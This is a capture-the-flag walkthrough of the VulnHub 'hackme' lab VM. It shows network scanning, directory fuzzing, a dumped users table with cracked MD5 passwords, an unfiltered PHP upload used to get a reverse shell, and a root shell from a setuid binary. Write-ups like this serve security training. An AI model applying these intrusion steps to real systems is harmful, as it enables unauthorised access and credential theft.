

hackme.local

Vulnerable vm: <https://www.vulnhub.com/entry/hackme-1,330/>

Getting the ip of the vulnerable hosts:

```
Currently scanning: Finished! | Screen View: Unique Hosts
```

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.234.1	00:50:56:c0:00:08	1	60	VMware, Inc.
192.168.234.2	00:50:56:f5:13:23	1	60	VMware, Inc.
192.168.234.139	00:0c:29:34:a1:4b	1	60	VMware, Inc.
192.168.234.254	00:50:56:e5:d0:ae	1	60	VMware, Inc.

Nmap results:

```
# Nmap 7.70 scan initiated Wed Sep 11 22:11:44 2019 as: nmap -A -sV -sC -p- -oA pwn/hackme/ 192.168.234.139
Nmap scan report for 192.168.234.139
Host is up (0.00050s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)
|   256 ab:e8:4f:53:38:06:2c:6a:f3:92:e3:97:4a:0e:3e:d1 (ECDSA)
|_  256 32:76:90:b8:7d:fc:a4:32:63:10:cd:67:61:49:d6:c4 (ED25519)
80/tcp    open  http      Apache httpd 2.4.34 ((Ubuntu))
|_ http-server-header: Apache/2.4.34 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:34:A1:4B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.50 ms  192.168.234.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 11 22:11:55 2019 -- 1 IP address (1 host up) scanned in 11.84 seconds
```

Fuzzing directory:

```

root@kali:~/pwn/hackme# wfuzz -c -z file,/root/pwn/dirb/common.txt --hc=404,403 http://hackme.local/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
*****
* Wfuzz 2.3.4 - The Web Fuzzer *
*****


Target: http://hackme.local/FUZZ
Total requests: 4614

=====
ID      Response  Lines    Word      Chars      Payload
=====
000001:  C=200       7 L      10 W      100 Ch     ""
002021:  C=200       7 L      10 W      100 Ch     "index.php"
004216:  C=301       9 L      28 W      314 Ch     "uploads"



Total time: 6.649903
Processed Requests: 4614
Filtered Requests: 4611
Requests/sec.: 693.8446

```

Uploadable dir:


hackme.local/uploads/

Index of /uploads

	Name	Last modified	Size	Description
	Parent Directory		-	
	test.png	2019-03-26 03:37	3.1K	

Apache/2.4.34 (Ubuntu) Server at hackme.local Port 80

Nikto results:

Database: webapphacking

Table: books

[15 entries]

id	price	bookname
1	50	Anonymous Hackers TTP
2	80	CISSP Guide
3	30	Security+
4	45	Practical WebApp Hacking
5	20	All about Kali Linux
6	10	Linux OS
7	10	Windows OS
8	190	IoT Exploitation
9	90	ZigBee Wireless Hacking
10	50	JTAG UART Hardware Hacking
11	40	Container Breakout
12	240	OSCP/OSCE Guide
13	40	CREST CRT
14	88	Creating your vulnerable VM
15	48	OSINT

Creds dump:

Database: webapphacking

Table: users

[7 entries]

id	name	user	password	address
1	David	user1	5d41402abc4b2a76b9719d911017c592 (hello)	Newton Circles
2	Beckham	user2	6269c4f71a55b24bad0f0267d9be5508 (commando)	Kensington
3	anonymous	user3	0f359740bd1cda994f8b55330c86d845 (p@ssw0rd)	anonymous
10	testismyname	test	05a671c66ae0e124cc08b76ea6d30bb (testtest)	testaddress
11	superadmin	superadmin	2386acb2cf356944177746fc92523983	superadmin
12	test1	test1	05a671c66ae0e124cc08b76ea6d30bb (testtest)	test1
13	harrypotter	harry	5f4dcc3b5aa765d61d8327deb882cf99 (password)	turekiphis@mywrld.top

Walkthrough - Went to hashkiller and i thought it is really uncrackable but Uncrackable is a password lol

Your Hashes:

2386acb2cf356944177746fc92523983

Crack my Hashes

Upload button disabled? We use Google reCAPTCHA v3.

Cracker Results:

2386acb2cf356944177746fc92523983 MD5 Uncrackable

Superadmin login page

Hi, welcome back **superadmin**. There are no anomalies detected.

[Reset Your Password](#)

[Sign Out of Your Account](#)

No file selected.

Select image to Upload:

Sorry, file already exists. Sorry, your file was not uploaded.

Let us see if we can upload php file

```




<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Welcome</title>
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css">
  <style type="text/css">
    body{ font: 14px sans-serif; text-align: center; }
  </style>
</head>
<body>
  <div class="page-header">
    <h1>Hi, welcome back <b>superadmin</b>. There are no anomalies detected.</h1>
    <p>
      <a href="reset-password.php" class="btn btn-warning">Reset Your Password</a>
      <a href="logout.php" class="btn btn-danger">Sign Out of Your Account</a>
    </p>
  </div>
  Select Image to Upload:
  <form align="center" action="welcomeadmin.php" method="post" enctype="multipart/form-data">
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload Image" name="submit">
  </form>

</br>
  Sorry, file already exists.Sorry, your file was not uploaded.</body>
</html>

```

File upload successful:

Index of /uploads

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 shell.php	2019-09-12 05:00	5.4K	
 test.png	2019-03-26 03:37	3.1K	

Apache/2.4.34 (Ubuntu) Server at hackme.local Port 80

Upload has no filter and as such we are able to pop a reverse shell:

```

www-data@hackme:/home/hackme$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hackme:/home/hackme$ _

```

hackme has sudo privileges

```
www-data@hackme:/home/hackme$ groups hackme
hackme : hackme adm cdrom sudo dip plugdev
www-data@hackme:/home/hackme$ _
```

Explored legacy homedir and found a binary named touchmenot, executed binary and got root lol.

```
www-data@hackme:/home/legacy$ ls -l
total 20K
drwxr-xr-x 2 root root 4.0K Mar 26 04:42 ./
drwxr-xr-x 4 root root 4.0K Mar 26 04:15 ../
-rwsr--r-x 1 root root 8.3K Mar 26 04:38 touchmenot*
www-data@hackme:/home/legacy$ ./touchmenot
root@hackme:/home/legacy# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@hackme:/home/legacy# _
```